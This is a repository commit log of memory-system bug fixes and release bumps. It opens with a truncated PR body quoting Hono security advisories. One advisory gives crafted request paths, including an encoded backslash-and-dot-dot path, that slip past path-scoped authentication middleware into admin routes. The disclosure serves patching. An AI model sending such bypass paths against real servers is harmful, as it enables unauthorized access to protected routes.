[https://github.com/honojs/hono](https://redirect.github.com/honojs/hono)
-
[https://github.com/honojs/hono/releases/tag/v4.13.16](https://redirect.github.com/honojs/hono/releases/tag/v4.13.16)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-46wx-v44x-9hh2) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Hono: `validator('form')` skips validation for `multipart/form-data`
requests with extra parameters
[CVE-2026-126356](https://nvd.nist.gov/vuln/detail/CVE-2026-126356) /
[GHSA-4h7h-rv7c-7m2v](https://redirect.github.com/advisories/GHSA-4h7h-rv7c-7m2v)

<details>
<summary>More information</summary>

#### Details
##### Summary

`validator('form')` only recognizes a `multipart/form-data`
`Content-Type` that carries nothing but a single `boundary` parameter. A
request with another legal parameter, such as `charset`, or with extra
whitespace after the `;` is not recognized as a form. The validation
callback then receives an empty object, while `c.req.parseBody()` still
parses the body as a form.

##### Details

The check that decides whether a request body is a form was written as a
strict pattern over the whole `Content-Type` value. Any parameter list
that does not look exactly like `; boundary=...` fails the check. When
it fails, the middleware does not read the body and passes an empty
object to the validation callback. If the callback accepts an empty
object, the request proceeds to the handler, which can still read all
submitted fields through `c.req.parseBody()` or `c.req.formData()`.

`application/x-www-form-urlencoded` is not affected. Only the
`multipart/form-data` branch has the strict pattern.

This issue arises when an application relies on `validator('form')` to
reject or restrict fields and the validation callback does not fail on
an empty object.

##### Impact

An unauthenticated client can send form fields that the `form` validator
never sees, by adding a legal parameter to the `Content-Type` header.

This may lead to:

- Allow-list or required-field checks in the validator being skipped
- Fields the application intended to reject reaching the handler

This issue affects applications that use `validator('form')` with
`multipart/form-data` requests and whose validation callback accepts an
empty object.

##### Workarounds

Reject an empty object in the `validator('form')` callback, or validate
the result of `await c.req.parseBody()` in the handler.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N`

#### References
-
[https://github.com/honojs/hono/security/advisories/GHSA-4h7h-rv7c-7m2v](https://redirect.github.com/honojs/hono/security/advisories/GHSA-4h7h-rv7c-7m2v)
-
[d88fab3724)
-
[https://github.com/honojs/hono](https://redirect.github.com/honojs/hono)
-
[https://github.com/honojs/hono/releases/tag/v4.13.16](https://redirect.github.com/honojs/hono/releases/tag/v4.13.16)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-4h7h-rv7c-7m2v) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Hono: `mount()` and `app.mount()` can forward a path that bypasses
middleware scoped inside the mount prefix
[CVE-2026-126357](https://nvd.nist.gov/vuln/detail/CVE-2026-126357) /
[GHSA-4m76-xfj5-7975](https://redirect.github.com/advisories/GHSA-4m76-xfj5-7975)

<details>
<summary>More information</summary>

#### Details
##### Summary

`mount()` and `app.mount()` remove the mount prefix from the request
path and forward the rest to the mounted application. Two mistakes in
that step let a crafted request reach a route of the mounted application
that the outer application protects with path-scoped middleware, such as
an authentication check on `/app/admin/*`. The outer application routes
on the original path, so the middleware does not run.

##### Details

1. **Dynamic prefix** (all affected versions): for a mount such as
`/api/:tenant/*`, the prefix was removed by the length of the route
pattern, not of the matched prefix. A request with a longer or shorter
first segment is cut in the middle, so `/api/a/xxxxx/admin/secret`
reaches the mounted application as `/admin/secret`.
2. **Re-normalization** (since 4.12.21): the forwarded path was built
from the decoded request path and assigned to `url.pathname`, which
turns a decoded backslash into `/` and collapses `..`.
`/app/public%5C..%5Cadmin/secret` reaches the mounted application as
`/admin/secret`.

The fix removes the prefix segment by segment from the raw pathname,
using the matched parameter values for its length. Route patterns that
cannot be handled safely now throw: duplicate parameter names and a
wildcard inside the last segment such as `/assets*`. A trailing slash in
an `app.mount()` prefix no longer removes an extra segment.

##### Impact

An unauthenticated client can reach a route of a mounted application
that the outer application protects with path-scoped middleware.

This affects applications that use `mount()` or `app.mount()` and rely
on middleware registered on a sub-path inside the mount prefi

> [!IMPORTANT]
> ✂ PR body was truncated to here.
2026-11-13 06:57:14 -08:00
Leo
3c1b528b6e
fix(memory): block irrelevant replace of shared working memory at default scope (#30306)
## Summary

With working memory `scope` left at its default (`'resource'`), the
experimental vNext update-working-memory tool let one thread erase a
line another thread wrote to shared memory by calling it with
`updateReason: 'replace-irrelevant-memory'`. The tool resolved `scope ||
'resource'` for its ID checks, but the guard compared the raw config
value, which is `undefined` by default. The guard now uses the resolved
scope, so default and explicit `'resource'` behave the same, and the
refusal says the memory is shared instead of the misleading "no
searchString was provided".

**Why this way:** reusing the `scope` already resolved a few lines above
keeps one source of truth, rather than repeating `|| 'resource'` in the
guard (the issue's preferred option too).

Door: two-way · Risk: low (composes `@mastra/memory` vNext working
memory tool) · Cleanup: none

## Evidence

New test file
`packages/memory/src/tools/working-memory-vnext-scope.test.ts` drives
the real tool from `Memory.listTools()` with a real `Memory` and
`InMemoryStore`, writing from two threads and reading back from both.

- **Before** (origin/main's `working-memory.ts`):
  ```
× another thread can't erase shared resource memory as irrelevant (scope
left at its default)
expected { success: true, … } to match object { success: false, … } //
thread B replaced Apollo
× another thread can't erase shared resource memory as irrelevant
(scope: 'resource' set explicitly)
      // refused, but with "no searchString was provided"
✓ still lets a thread clarify an existing resource-scoped line when
scope is left at its default
✓ with scope: 'thread', a thread can replace its own irrelevant memory
and other threads are untouched
  Tests  2 failed | 2 passed (4)
  ```
  **After:**
  ```
✓ another thread can't erase shared resource memory as irrelevant (scope
left at its default)
✓ another thread can't erase shared resource memory as irrelevant
(scope: 'resource' set explicitly)
✓ still lets a thread clarify an existing resource-scoped line when
scope is left at its default
✓ with scope: 'thread', a thread can replace its own irrelevant memory
and other threads are untouched
  Tests  4 passed (4)
  ```
- Neighboring suites `src/tools/working-memory.test.ts` and
`src/index.test.ts` with the new file: 215 passed. `tsc --noEmit` for
`@mastra/memory` clean; `oxfmt --check` and `oxlint --deny-warnings`
clean on changed files.

One behavior note: the issue describes the guard as turning the update
into an append. On main, explicit `scope: 'resource'` actually refuses
the call (the guard cleared `searchString`, then the next check rejected
it) and nothing is written. This PR keeps that refusal and makes the
default match it; only the reason text changes.

## Merge Danger

Two-way: a one-condition change plus a clearer refusal message in the
experimental vNext tool; the riskiest part is that default-scope agents
that relied on `replace-irrelevant-memory` succeeding will now get a
refusal, which is the documented intent.

**Blast radius:** agents using working memory `version: 'vnext'` with
resource scope (default or explicit). The stable tool and thread scope
are unchanged. Open PR #29209 also edits `working-memory.ts`, in
different hunks (lines 1-90; this change is at line 426).

Closes #30287

## Council review

Rounds: 3

| Seat | Round 1 | Round 2 | Round 3 |
| --- | --- | --- | --- |
| Claude Opus 5.5 | not run | 9/10 | 10/10 |
| GPT-6.1 Sol | 9.8/10 | 10/10 | 10/10 |
| Grok 4.7 | empty seat | empty seat | empty seat |
| Kimi K3.1 | not run | not run | 10/10 |
| DeepSeek V4.1 Flash | not run | not run | 9/10 |

Created with Claude Opus 5.5 in T3 Code.
🤖 Generated with [Claude Code](https://claude.com/claude-code)


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Working memory can be shared by every chat that one user has.
Before this fix, if the scope was not set, one chat could delete a line
that another chat had saved. Now the default scope gets the same
protection as the explicit shared setting.

## Summary

This change fixes the guard for `replace-irrelevant-memory` in the
experimental vNext working-memory tool. The guard read the raw `scope`
config value. When `scope` was unset, that value was `undefined`, so the
guard did not run. The guard now uses the resolved `scope` value, which
includes the `resource` default.

## Behavior

- **Default or explicit `resource` scope:** A
`replace-irrelevant-memory` call that includes a `searchString` is
refused. The tool returns a specific failure. The failure tells the
agent to use `clarify-existing-memory` or `append-new-memory`. Before
this change, the tool cleared the `searchString` and continued to later
validation.
- **`thread` scope:** No change.
- **Stable (v1) working-memory tool:** No change.
- **`clarify-existing-memory`:** No change. The linked issue excludes
this tool.

The linked issue expected the replacement to become an append. This
change keeps the refusal for `resource` scope. It makes the default
scope match explicit `resource` scope.

## Changed files

- `packages/memory/src/tools/working-memory.ts` (+6/-3): Uses the
resolved scope in the resource-scope check. Returns the specific failure
for `replace-irrelevant-memory` with a `searchString`.
- `packages/memory/src/tools/working-memory-vnext-scope.test.ts` (+95):
Adds tests for:
  - refusal under default and explicit `resource` scope;
  - clarification of existing shared resource memory;
  - replacement isolation under `thread` scope.
- `.changeset/nine-boxes-pump.md` (+5): Adds a patch changeset for
`@mastra/memory`.

No exported or public declarations change.

## Verification

The PR author reports the following results. This summary did not rerun
them.

- Four new tests pass.
- 215 tests pass across the new test file and the neighboring
`src/tools/working-memory.test.ts` and `src/index.test.ts` suites.
- `tsc --noEmit`, `oxfmt --check`, and `oxlint --deny-warnings` report
no issues.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-13 08:54:36 -05:00
Tyler Barnes
a21d692444
fix(memory): stop the Observer crashing on message parts without text (#30272) 2026-11-12 21:08:55 -07:00
dane-ai-mastra[bot]
d60ba71be0 chore: version - exit prerelease mode 2026-11-12 21:12:29 +00:00
dane-ai-mastra[bot]
5c87442ed7
chore: version packages (alpha) (#30203)
This PR was opened by the [Changesets
release](https://github.com/changesets/action) GitHub action. When
you're ready to do a release, you can merge this and publish to npm
yourself or [setup this action to publish
automatically](https://github.com/changesets/action#with-publishing). If
you're not ready to do a release yet, that's fine, whenever you add more
changesets to main, this PR will be updated.

⚠️⚠️⚠️⚠️⚠️⚠️

`main` is currently in **pre mode** so this branch has prereleases
rather than normal releases. If you want to exit prereleases, run
`changeset pre exit` on `main`.

⚠️⚠️⚠️⚠️⚠️⚠️

# Releases

> The changelog information of each package has been omitted from this
message, as the content exceeds the size limit.

## @mastra/auth-auth0@1.3.0-alpha.0


## @mastra/auth-clerk@1.4.0-alpha.0


## @mastra/auth-okta@0.3.0-alpha.0


## @mastra/auth-supabase@1.2.0-alpha.0


## @mastra/client-js@1.60.0-alpha.13


## @mastra/auth@1.2.0-alpha.0


## @mastra/core@1.83.0-alpha.13


## @mastra/playground-ui@69.0.0-alpha.15


## @mastra/rag@2.8.0-alpha.3


## @mastra/server@1.83.0-alpha.13


## @mastra/server-adapters-test-suite@0.3.0-alpha.5


## @mastra/auth-better-auth@1.1.11-alpha.2


## @mastra/auth-cloud@1.2.9-alpha.0


## @mastra/auth-neon@0.3.6-alpha.1


## @mastra/auth-workos@1.6.9-alpha.0


## @mastra/discord@1.3.4-alpha.0


## @mastra/react@1.15.0-alpha.13


## @mastra/deployer-cloud@1.83.0-alpha.13


## @mastra/deployer-cloudflare@1.2.42-alpha.3


## @mastra/deployer-netlify@1.2.42-alpha.1


## @mastra/deployer-sandbox@0.3.27-alpha.1


## @mastra/deployer-vercel@1.2.42-alpha.1


## @mastra/longmemeval@1.1.42-alpha.13


## @mastra/opencode@0.1.42-alpha.13


## @mastra/factory@0.28.0-alpha.15


## create-factory@0.4.3-alpha.15


## @mastra/code-sdk@1.19.0-alpha.15


## mastracode@0.50.0-alpha.14


## @mastra/agent-builder@1.2.1-alpha.5


## mastra@1.39.0-alpha.15


## @mastra/connect@1.4.0-alpha.6


## @mastra/deployer@1.83.0-alpha.13


## @mastra/editor@0.17.1-alpha.7


## @mastra/mcp@2.9.0-alpha.5


## @mastra/mcp-docs-server@1.3.13-alpha.17


## @mastra/memory@1.41.1-alpha.5


## @mastra/schema-compat@1.4.0-alpha.2


## @mastra/elysia@0.1.23-alpha.13


## @mastra/express@1.5.27-alpha.13


## @mastra/fastify@1.5.27-alpha.13


## @mastra/hono@1.7.25-alpha.13


## @mastra/koa@1.7.27-alpha.13


## @mastra/nestjs@0.3.0-alpha.13


## @mastra/next@0.2.41-alpha.13


## @mastra/tanstack-start@0.2.41-alpha.13


## @mastra/voice-google-gemini-live@0.14.19-alpha.2


## @mastra/voice-openai-realtime@0.14.9-alpha.3


## @mastra/voice-xai-realtime@0.2.18-alpha.2


## @mastra/inngest@1.11.2-alpha.9


## @mastra/temporal@0.6.0-alpha.13


## create-mastra@1.39.0-alpha.15


## @internal/playground@1.39.0-alpha.15

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-12 12:07:03 -08:00
shreyas-mastra
8d4abc4f88
chore(deps): Vanta 2026-11-12 — raise undici to 8.12.4 / 7.30.2 (#30205) 2026-11-12 07:20:12 -08:00
mastra-platform[bot]
56f654fc0d
fix(core): name the agent in the memory missing-storage error (#30164)
Co-authored-by: Abhi Aiyer <abhiaiyer91@gmail.com>
2026-11-11 22:50:45 -08:00
dane-ai-mastra[bot]
9e82af0237
chore: version packages (alpha) (#30074)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-11 14:21:14 -08:00
Dane - AI (Mastra)
c22107fce3
chore(deps): update dependency @ai-sdk/provider-utils@>=3.0.0 <3.0.38 to v3.0.45 (#29844) 2026-11-10 20:07:34 -08:00
mastra-platform[bot]
ebbea50d38
fix(memory): clarify missing storage for unregistered agents (#29972) 2026-11-10 16:15:37 -08:00
dane-ai-mastra[bot]
23cc34a9c5
chore: version packages (alpha) (#29938)
This PR was opened by the [Changesets
release](https://github.com/changesets/action) GitHub action. When
you're ready to do a release, you can merge this and publish to npm
yourself or [setup this action to publish
automatically](https://github.com/changesets/action#with-publishing). If
you're not ready to do a release yet, that's fine, whenever you add more
changesets to main, this PR will be updated.

⚠️⚠️⚠️⚠️⚠️⚠️

`main` is currently in **pre mode** so this branch has prereleases
rather than normal releases. If you want to exit prereleases, run
`changeset pre exit` on `main`.

⚠️⚠️⚠️⚠️⚠️⚠️

# Releases

> The changelog information of each package has been omitted from this
message, as the content exceeds the size limit.

## @mastra/factory@0.28.0-alpha.6


## @mastra/code-sdk@1.19.0-alpha.6


## @mastra/playground-ui@69.0.0-alpha.7


## @mastra/client-js@1.60.0-alpha.6


## @mastra/react@1.15.0-alpha.6


## @mastra/deployer-cloud@1.83.0-alpha.6


## @mastra/longmemeval@1.1.42-alpha.6


## @mastra/opencode@0.1.42-alpha.6


## create-factory@0.4.3-alpha.6


## mastracode@0.50.0-alpha.6


## @mastra/agent-builder@1.2.1-alpha.3


## mastra@1.39.0-alpha.6


## @mastra/core@1.83.0-alpha.6


## @mastra/deployer@1.83.0-alpha.6


## @mastra/editor@0.17.1-alpha.4


## @mastra/mcp@2.9.0-alpha.3


## @mastra/mcp-docs-server@1.3.13-alpha.9


## @mastra/memory@1.41.1-alpha.3


## @mastra/rag@2.7.3-alpha.2


## @mastra/schema-compat@1.3.18-alpha.0


## @mastra/server@1.83.0-alpha.6


## @mastra/elysia@0.1.23-alpha.6


## @mastra/express@1.5.27-alpha.6


## @mastra/fastify@1.5.27-alpha.6


## @mastra/hono@1.7.25-alpha.6


## @mastra/koa@1.7.27-alpha.6


## @mastra/nestjs@0.3.0-alpha.6


## @mastra/next@0.2.41-alpha.6


## @mastra/server-adapters-test-suite@0.3.0-alpha.3


## @mastra/tanstack-start@0.2.41-alpha.6


## @mastra/upstash@1.6.1-alpha.0


## @mastra/vectorize@1.1.5-alpha.0


## @mastra/voice-google-gemini-live@0.14.19-alpha.0


## @mastra/voice-openai-realtime@0.14.9-alpha.0


## @mastra/voice-xai-realtime@0.2.18-alpha.0


## @mastra/inngest@1.11.2-alpha.4


## @mastra/temporal@0.6.0-alpha.6


## create-mastra@1.39.0-alpha.6


## @internal/playground@1.39.0-alpha.6

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-10 15:51:29 -08:00
Leo
22b24cc40a
fix(core): apply semanticRecall.filter during agent runs (#29418)
## Description

`semanticRecall.filter` worked in `Memory.recall()` but not during
`agent.generate()` or `agent.stream()`. During an agent run, recall
happens in the `SemanticRecall` processor, which never read `filter` and
queried the vector store with the scope filter only. So messages from
threads that didn't match the filter ended up in the prompt.

This PR changes
`packages/core/src/processors/memory/semantic-recall.ts`:

```diff
 query filter
-  scopeFilter
+  filter ? { $and: [scopeFilter, filter] } : scopeFilter   // same as Memory.recall()

 embedding metadata written during agent runs
-  { message_id, thread_id, resource_id, ... }
+  { ...threadMetadata (only when filter is set), message_id, thread_id, resource_id, ... }
```

- The filter applies to both query paths: client-side embedder and
self-embedding stores.
- Embeddings written during agent runs had no thread metadata, so even
with the query fixed, a filter like `{ mode: { $eq: 'work' } }` could
never match messages that agents saved. When a filter is set, the
processor now reads the thread from storage and stores its metadata on
the embedding, as `Memory.saveMessages()` already does. It reads from
storage because durable and recovered runs put only the thread id in the
memory context.
- Without a filter, nothing about writes changes. Some vector stores
reject nested metadata values and this processor only logs a failed
upsert, so the metadata is written only when a filter needs it.
- Docs: added `filter` to the processor reference and a note on the
semantic recall page that messages agents saved before a filter was set
don't match it until they're saved or indexed again.

## Related issue(s)

Closes #29352

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [x] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [x] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR

## Evidence

Before = `semantic-recall.ts` from `origin/main`, with the same tests.
After = this branch.

- **Core, real Agent + MockMemory + in-memory vector store that applies
filters**
(`packages/core/src/processors/memory/semantic-recall-filter.test.ts`,
new): generate and stream, filter vs no filter, self-embedding store,
thread scope, durable-shaped context (`thread: { id }` only), thread
metadata written only with a filter.
**Before:** `Tests 7 failed | 2 passed (9)` (the two no-filter cases
pass on both).
  **After:** `Tests 9 passed (9)`.
- **Memory integration, real `Memory` + LibSQL store and vector +
Agent**
(`packages/memory/integration-tests/src/semantic-recall-metadata-filter.test.ts`):
generate and stream; messages saved with `saveMessages()`, by earlier
agent runs, and in a thread the run created with metadata. Also checks
`Memory.recall()` agrees with the agent run.
**Before:** `Tests 6 failed | 2 passed (8)` (the two existing `recall()`
cases pass on both).
  **After:** `Tests 8 passed (8)`.
- **The issue's own repro script** (LibSQL, mock embedder and model),
run against local builds:
  **Before:** `agent prompt contains personal message: true`
  **After:** `agent prompt contains personal message: false`
- Neighbouring core suites (`semantic-recall.test.ts`,
`processor-caching.test.ts`, `memory-config.test.ts`,
`embedding-dimension.test.ts`): 69/69 pass. `@mastra/core` typecheck
passes; oxlint, oxfmt and lint-staged are clean on the changed files.

Not tested: a real DurableAgent run end to end. The durable context
shape is covered by calling the Memory-built processor with `thread: {
id }` only, as `durable-agent.ts` and `finalize-run.ts` set it.

## Merge Danger

**Door:** two-way. A revert restores the old behavior. Embeddings
already written with thread metadata stay in the vector store but are
harmless extra fields.

**Blast radius:** agents with `semanticRecall.filter` configured. They
now recall fewer messages (only matching threads), which is the
documented behavior. Messages saved by older versions have no thread
metadata, so they won't match a filter until re-saved or re-indexed; the
changeset and docs say so. Users without a filter see no change in
queries.

**After merging main (#29826):** main's shared embedding helper now
always stores thread metadata on agent-run embeddings, so this PR no
longer adds its own filter-only metadata read; docs, changeset and the
unit test were updated to match.

**Cloudflare Vectorize (`@mastra/vectorize`):** the scope and user
filter are combined as `{ $and: [...] }` (the same shape
`Memory.recall()` already sends on main), which the Vectorize translator
rejected, so recall with a filter returned nothing there. The translator
now merges a filter that is exactly `{ $and: [...] }` into one object.
Several conditions on one field merge only as one lower plus one upper
bound; other same-field combinations and non-object clauses throw. Not
run against a live Vectorize index; checked against Cloudflare's
metadata-filtering docs and 38 translator tests (Sol reviewed 3 rounds).

## Council review

Rounds: 4

| Seat | Round 1 | Round 2 | Round 3 | Round 4 |
| --- | --- | --- | --- | --- |
| Claude Opus 5.5 | not run | not run | 8.5/10 | 9/10 |
| GPT-6.1 Sol | 9/10 (Tests 8, Code quality 8) | 9.6/10 | 9.5/10 |
9.5/10 |
| Grok 4.7 | empty seat | empty seat | empty seat | empty seat |

Created with Claude Opus 5.5 in T3 Code.

🤖 Generated with [Claude Code](https://claude.com/claude-code)


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

Agents now use the configured metadata filter when they search for
relevant messages. This keeps messages from unrelated threads out of the
agent’s prompt. Cloudflare Vectorize can also process the combined
filters used for these searches.

## Changes

- `SemanticRecall` combines the configured `VectorFilter` with the
thread or resource scope filter using `$and`.
- When a filter is configured, the processor reads thread metadata from
storage and writes it to message embeddings. Older embeddings may need
to be saved or indexed again.
- The Vectorize filter translator merges supported top-level `$and`
clauses, including repeated conditions with the same value. It rejects
unsupported combinations on the same field.
- Updated documentation and added tests for `generate()`, `stream()`,
self-embedding queries, and Vectorize filter translation.

## Verification

- Reported: 9/9 core filter tests, 8/8 integration tests, 69/69
neighboring core tests, 38 Vectorize translator tests, and the
`@mastra/core` typecheck passed.
- A real DurableAgent run was not tested end to end. A core test covers
a processor request context that contains only a thread ID.
- Live Cloudflare Vectorize testing: not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-10 18:19:59 -05:00
Leo
08e677fdbe
fix(memory): keep observation groups whole in buffered reflection (#29412)
## Description

With observational memory's `retrieval` on, observations are wrapped in
`<observation-group>` tags. Buffered reflection chose how many leading
lines to reflect from a token estimate alone, so the cut could land
inside a group. The reflector then got the group's opening tag, and
activation kept the rest of its bullets plus a `</observation-group>`
with no opening tag. The agent saw a stray closing tag, and those
observations lost the `range` recall uses to find their source messages.

`doAsyncBufferedReflection` now passes the cut through a new
`alignLineCutToObservationGroups` helper before anything uses it, so the
stored `reflectedObservationLineCount`, the token estimate and the
compression target all agree on a group boundary. Storage adapters slice
on that stored count, so none of them change.

```diff
 cut = floor(activationPointTokens / avgTokensPerLine)
+if cut lands inside a group
+  move it back to before that group's opening tag (and its blank separator)
+  if nothing precedes that group, move it forward past the group's closing tag
 reflect lines[0..cut), keep lines[cut..] verbatim on activation
```

Observations without group tags, and cuts that already fall between
groups, are unchanged.

## Evidence

New test `buffered-reflection-group-boundary.test.ts` drives the real
path: `Memory` with `InMemoryStore`, a turn that buffers a reflection,
then a turn that activates it. Only the reflector model is mocked. It
checks what the reflector received, the stored cut, and the activated
observations (balanced tags, each kept group's id, range and bullets).

- **Before** (fix reverted, `reflector-runner.ts` from `main`): `Tests 2
failed | 1 passed (3)`
- the reflector received `group 3 observation 0-3`, the first part of a
group whose closing tag stayed active
- a first group bigger than the budget was cut at line 24 instead of
after its closing tag at 31
- the no-group-tags case passes both before and after, which is
expected: plain observations keep their cut
- **After:** `Tests 36 passed (36)` across the new file and
`observation-groups.test.ts` (which gains unit cases for the helper:
cuts between groups, ungrouped lines before the first group, indented
tags, an unclosed last group, no tags).
- Guards: 10 related observational-memory test files, `Tests 668 passed
| 1 todo`; `tsc --noEmit` and `oxlint --type-aware` on `@mastra/memory`
pass; Prettier clean.

Not run: storage adapter integration suites (pg, libsql, etc.). They
only consume the stored line count, which this change fixes at the
source.

## Merge Danger

**Door:** two-way. Reverting the commit restores the old cut; nothing
persisted changes shape.

**Blast radius:** `@mastra/memory` buffered reflection with `retrieval`
on. The cut can now reflect slightly fewer lines than the estimate (back
to a group boundary), or a whole first group that is larger than the
estimate. Records already damaged by this bug are not repaired.

Overlap: #28293 (`fix/27262-buffered-reflection-values`) edits the same
`doAsyncBufferedReflection` function. This PR touches different lines
(one import and the `linesToReflect` assignment); a local `git
merge-tree` of #28293 with this branch adds no conflict beyond the two
that #28293 already has with `main` in the activation code.

## Related issue(s)

Fixes #28445

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [x] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [ ] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR

## Council review

Rounds: 3

| Seat | Round 1 | Round 2 | Round 3 |
| --- | --- | --- | --- |
| Claude Opus 5.5 | not run | 9/10 | 9/10 |
| GPT-6.1 Sol | 10/10 | 10/10 | 10/10 |
| Grok 4.7 | empty seat | empty seat | empty seat |

Round 2 findings applied: opening tags are matched after trimming, like
closing tags; a long test comment was rewrapped.

Created with Claude Opus 5.5 in T3 Code.

🤖 Generated with [Claude Code](https://claude.com/claude-code)


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## ELI5

Buffered reflection could split a group of related observations in half.
This change keeps each group together, so the remaining observations
stay properly organized and linked to their source messages.

## Summary

- Aligns the buffered reflection cut to an `<observation-group>`
boundary.
- Moves a cut back before the group when earlier content exists. If the
group starts the observations, moves the cut forward past that group.
- Leaves cuts unchanged when they are outside a group or when
observations have no group tags.
- Adds regression tests for boundary alignment, activation, preserved
group ranges, and ungrouped observations.
- Adds a patch changeset for `@mastra/memory`.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-10 18:14:13 -05:00
dane-ai-mastra[bot]
779d2875b1
chore: version packages (alpha) (#29912)
This PR was opened by the [Changesets
release](https://github.com/changesets/action) GitHub action. When
you're ready to do a release, you can merge this and publish to npm
yourself or [setup this action to publish
automatically](https://github.com/changesets/action#with-publishing). If
you're not ready to do a release yet, that's fine, whenever you add more
changesets to main, this PR will be updated.

⚠️⚠️⚠️⚠️⚠️⚠️

`main` is currently in **pre mode** so this branch has prereleases
rather than normal releases. If you want to exit prereleases, run
`changeset pre exit` on `main`.

⚠️⚠️⚠️⚠️⚠️⚠️

# Releases

> The changelog information of each package has been omitted from this
message, as the content exceeds the size limit.

## @mastra/auth-studio@1.4.0-alpha.1


## @mastra/factory@0.28.0-alpha.5


## @mastra/mcp-apps-components@0.1.0-alpha.5


## @mastra/playground-ui@69.0.0-alpha.6


## @mastra/client-js@1.60.0-alpha.5


## @mastra/react@1.15.0-alpha.5


## @mastra/deployer-cloud@1.83.0-alpha.5


## @mastra/longmemeval@1.1.42-alpha.5


## @mastra/opencode@0.1.42-alpha.5


## create-factory@0.4.3-alpha.5


## @mastra/code-sdk@1.19.0-alpha.5


## mastracode@0.50.0-alpha.5


## @mastra/agent-builder@1.2.1-alpha.2


## mastra@1.39.0-alpha.5


## @mastra/core@1.83.0-alpha.5


## @mastra/deployer@1.83.0-alpha.5


## @mastra/editor@0.17.1-alpha.3


## @mastra/mcp@2.9.0-alpha.2


## @mastra/mcp-docs-server@1.3.13-alpha.8


## @mastra/memory@1.41.1-alpha.2


## @mastra/rag@2.7.3-alpha.1


## @mastra/server@1.83.0-alpha.5


## @mastra/elysia@0.1.23-alpha.5


## @mastra/express@1.5.27-alpha.5


## @mastra/fastify@1.5.27-alpha.5


## @mastra/hono@1.7.25-alpha.5


## @mastra/koa@1.7.27-alpha.5


## @mastra/nestjs@0.3.0-alpha.5


## @mastra/next@0.2.41-alpha.5


## @mastra/server-adapters-test-suite@0.3.0-alpha.2


## @mastra/tanstack-start@0.2.41-alpha.5


## @mastra/libsql@1.30.0-alpha.2


## @mastra/turso@0.1.21-alpha.2


## @mastra/inngest@1.11.2-alpha.3


## @mastra/temporal@0.6.0-alpha.5


## create-mastra@1.39.0-alpha.5


## @internal/playground@1.39.0-alpha.5

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-10 10:50:08 -08:00
shreyas-mastra
6644a82748
fix(memory): lock vNext working memory updates by resolved scope (#29477) 2026-11-10 08:51:39 -08:00
Arthur Fiorette
66c620c086
fix(core): answer once when the model already saw a background result under untilIdle (#29848)
## Description

An `untilIdle` stream sends a follow-up model request for every
background task it sees finish, so the model can report the result. When
the model already answered with that result in the same run, the
follow-up makes it answer a second time. This happened in two cases:

- an awaited background tool, whose tool call waits for the task and
hands the result to the model;
- a deferred task that finished while its run was still going, so a
later request in the run already carried the real result.

The LLM step of an `untilIdle` inner run now lists, on `step-start`, the
background tasks whose final result is in the request's prompt. Task
status is read before the prompt is built, and a result counts only if
request processors left it unchanged. Cached replies never count. The
wrapper skips the follow-up for those tasks once that step ends in a
real reply: no client tool call, no error, and a finish reason other
than `tool-calls`, `error`, `tripwire`, `retry`, `abort`, `length` or
`content-filter`. The list is internal and is removed before the caller
sees the chunk.

A task whose result the model never answered still gets its follow-up,
for example when the run hits its step limit right after the tool call.

```ts
const output = await agent.stream('Look up the invoice record.', { untilIdle: true, memory });
// The model calls a tool with `_background: { disposition: 'awaited' }`, then answers.
// Before: a second model request after the turn, and the answer streamed twice.
// After: one answer, and the stream closes once the task's completion event arrives.
```

The new scenario test runs on every engine. Known gaps, pinned in the
test:

- durable and evented still fail the whole run when an awaited task
fails, as on `main`;
- an awaited tool that suspends never ends its parked turn on durable
and evented, so that case is skipped there.

## Related issue(s)

Fixes #29679

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [ ] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
